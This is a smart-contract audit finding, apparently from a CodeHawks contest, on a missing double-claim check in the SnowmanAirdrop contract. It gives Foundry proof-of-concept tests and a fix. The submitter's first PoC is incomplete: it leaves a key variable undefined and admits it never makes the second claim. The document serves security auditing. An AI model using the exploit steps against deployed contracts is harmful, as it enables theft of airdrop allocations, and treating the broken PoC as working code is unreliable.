Snowman Merkle Airdrop
AI First Flight #10
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Submission Details
Severity: low
Valid

Missing Double-Claim Protection Allows Users to Claim Airdrop Multiple Times

zanyjoy408

Description

  • The SnowmanAirdrop contract is intended to allow each eligible user to claim their Snowman NFTs exactly once based on their Snow token balance at the time the Merkle tree was generated.

  • While the contract has a s_hasClaimedSnowman mapping to track claims, it never checks this mapping before allowing a claim, enabling users to repeatedly claim as long as they have Snow tokens.

// src/SnowmanAirdrop.sol:68-99
function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
if (receiver == address(0)) {
revert SA__ZeroAddress();
}
if (i_snow.balanceOf(receiver) == 0) {
revert SA__ZeroAmount();
}
​
if (!_isValidSignature(receiver, getMessageHash(receiver), v, r, s)) {
revert SA__InvalidSignature();
}
​
uint256 amount = i_snow.balanceOf(receiver);
​
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount))));
​
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert SA__InvalidProof();
}
​
i_snow.safeTransferFrom(receiver, address(this), amount);
​
// @> s_hasClaimedSnowman is set but NEVER checked above
s_hasClaimedSnowman[receiver] = true;
​
emit SnowmanClaimedSuccessfully(receiver, amount);
​
i_snowman.mintSnowman(receiver, amount);
}

Risk

Likelihood:

  • Any user who is included in the Merkle tree can exploit this by acquiring more Snow tokens after their first claim

  • The only barrier is acquiring additional Snow tokens, which is possible via buySnow() or earnSnow()

Impact:

  • Users can claim more NFTs than they were allocated in the airdrop

  • Unfair distribution of NFTs - early claimers who re-acquire Snow tokens get disproportionate share

  • Devaluation of NFTs due to inflated supply beyond intended airdrop allocation

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
​
import {Test} from "forge-std/Test.sol";
import {SnowmanAirdrop} from "../src/SnowmanAirdrop.sol";
import {Snow} from "../src/Snow.sol";
import {Snowman} from "../src/Snowman.sol";
​
contract DoubleClaimPoC is Test {
SnowmanAirdrop airdrop;
Snow snow;
Snowman snowman;
​
address alice = makeAddr("alice");
bytes32 merkleRoot;
bytes32[] merkleProof;
​
function testDoubleClaimExploit() public {
// Setup: Alice has 1 Snow token and valid merkle proof
// First claim succeeds
vm.startPrank(alice);
snow.approve(address(airdrop), type(uint256).max);
​
(uint8 v, bytes32 r, bytes32 s) = vm.sign(alicePrivKey, airdrop.getMessageHash(alice));
airdrop.claimSnowman(alice, merkleProof, v, r, s);
​
// Alice now has 1 Snowman NFT and 0 Snow tokens
assertEq(snowman.balanceOf(alice), 1);
​
// Alice buys more Snow tokens
snow.buySnow{value: snow.s_buyFee()}(1);
​
// Second claim - should revert but doesn't check s_hasClaimedSnowman
// Note: This specific PoC requires matching merkle proof for new amount
// The vulnerability exists because the mapping is never checked
assertTrue(airdrop.getClaimStatus(alice)); // Status shows claimed
// But no check prevents another claim attempt
vm.stopPrank();
}
}

Recommended Mitigation

function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
if (receiver == address(0)) {
revert SA__ZeroAddress();
}
+ if (s_hasClaimedSnowman[receiver]) {
+ revert SA__AlreadyClaimed();
+ }
if (i_snow.balanceOf(receiver) == 0) {
revert SA__ZeroAmount();
}

Add the new error definition:

error SA__InvalidProof();
error SA__InvalidSignature();
error SA__ZeroAddress();
error SA__ZeroAmount();
+ error SA__AlreadyClaimed();
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 2 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[L-01] Missing Claim Status Check Allows Multiple Claims in SnowmanAirdrop.sol::claimSnowman

# Root + Impact   **Root:** The [`claimSnowman`](https://github.com/CodeHawks-Contests/2025-06-snowman-merkle-airdrop/blob/b63f391444e69240f176a14a577c78cb85e4cf71/src/SnowmanAirdrop.sol#L44) function updates `s_hasClaimedSnowman[receiver] = true` but never checks if the user has already claimed before processing the claim, allowing users to claim multiple times if they acquire more Snow tokens. **Impact:** Users can bypass the intended one-time airdrop limit by claiming, acquiring more Snow tokens, and claiming again, breaking the airdrop distribution model and allowing unlimited NFT minting for eligible users. ## Description * **Normal Behavior:** Airdrop mechanisms should enforce one claim per eligible user to ensure fair distribution and prevent abuse of the reward system. * **Specific Issue:** The function sets the claim status to true after processing but never validates if `s_hasClaimedSnowman[receiver]` is already true at the beginning, allowing users to claim multiple times as long as they have Snow tokens and valid proofs. ## Risk **Likelihood**: Medium * Users need to acquire additional Snow tokens between claims, which requires time and effort * Users must maintain their merkle proof validity across multiple claims * Attack requires understanding of the missing validation check **Impact**: High * **Airdrop Abuse**: Users can claim far more NFTs than intended by the distribution mechanism * **Unfair Distribution**: Some users receive multiple rewards while others may receive none * **Economic Manipulation**: Breaks the intended scarcity and distribution model of the NFT collection ## Proof of Concept Add the following test to TestSnowMan.t.sol  ```Solidity function testMultipleClaimsAllowed() public { // Alice claims her first NFT vm.prank(alice); snow.approve(address(airdrop), 1); bytes32 aliceDigest = airdrop.getMessageHash(alice); (uint8 v, bytes32 r, bytes32 s) = vm.sign(alKey, aliceDigest); vm.prank(alice); airdrop.claimSnowman(alice, AL_PROOF, v, r, s); assert(nft.balanceOf(alice) == 1); assert(airdrop.getClaimStatus(alice) == true); // Alice acquires more Snow tokens (wait for timer and earn again) vm.warp(block.timestamp + 1 weeks); vm.prank(alice); snow.earnSnow(); // Alice can claim AGAIN with new Snow tokens! vm.prank(alice); snow.approve(address(airdrop), 1); bytes32 aliceDigest2 = airdrop.getMessageHash(alice); (uint8 v2, bytes32 r2, bytes32 s2) = vm.sign(alKey, aliceDigest2); vm.prank(alice); airdrop.claimSnowman(alice, AL_PROOF, v2, r2, s2); // Second claim succeeds! assert(nft.balanceOf(alice) == 2); // Alice now has 2 NFTs } ``` ## Recommended Mitigation **Add a claim status check at the beginning of the function** to prevent users from claiming multiple times. ```diff // Add new error + error SA__AlreadyClaimed(); function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s) external nonReentrant { + if (s_hasClaimedSnowman[receiver]) { + revert SA__AlreadyClaimed(); + } + if (receiver == address(0)) { revert SA__ZeroAddress(); } // Rest of function logic... s_hasClaimedSnowman[receiver] = true; } ```

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